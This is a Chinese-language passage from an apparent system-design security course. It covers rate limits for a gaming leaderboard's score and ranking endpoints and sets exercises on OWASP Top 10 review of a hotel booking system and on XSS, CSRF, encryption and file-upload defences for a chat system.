传输层SYN Flood等防火墙/OS配置底层协议级防护

先想一想 🤔 Gaming Leaderboard 需要速率限制吗?如果需要,应该限制哪些操作?阈值怎么设?

点击查看解析

需要,但策略和 URL Shortener 不同

  1. 提交分数接口(POST /api/scores):严格限制
    • 每个用户每分钟最多 60 次(每秒 1 次,正常游戏频率)
    • 防止作弊者用脚本批量提交虚假分数
    • 还需要配合服务端验证(分数是否合理、游戏是否真实进行过)
  2. 查询排行榜接口(GET /api/leaderboard):宽松限制
    • 每个用户每秒最多 10 次
    • 这是读操作,压力主要在缓存(Redis),不太担心
    • 但也要防止爬虫批量抓取所有玩家数据
  3. 查询自己排名(GET /api/rank/:userId):中等限制
    • 每个用户每秒最多 5 次
    • 正常场景:玩完一局查一次排名

关键区别:Gaming Leaderboard 的速率限制不仅是为了防止资源耗尽,更是为了防止作弊。所以分数提交接口的限制最严格——不是因为它消耗资源多,而是因为滥用它会破坏游戏公平性。


假设你用 AI 生成了 Hotel Reservation 系统的代码。请用 OWASP Top 10 逐项检查以下场景中可能存在的安全问题,并写出修复方案:

需要检查的场景:
1. 用户注册/登录流程
2. 搜索酒店接口
3. 创建预订接口
4. 支付流程
5. 管理员后台

每一项都要回答:

  • 存在什么风险?
  • 攻击者怎么利用?
  • 怎么修复?

为 Chat System 设计完整的消息安全方案,回答以下问题:

  1. 防 XSS:用户消息如何在不丢失格式(加粗、链接、代码块)的前提下防止 XSS?
  2. 防 CSRF:Chat System 使用什么认证方式?是否需要额外的 CSRF 防护?
  3. 端到端加密:Chat System 的消息是否需要端到端加密?如果需要,设计方案;如果不需要,说明理由和替代方案。
  4. 文件上传:如果 Chat System 支持发送文件(图片、文档),有哪些安全风险?如何防护?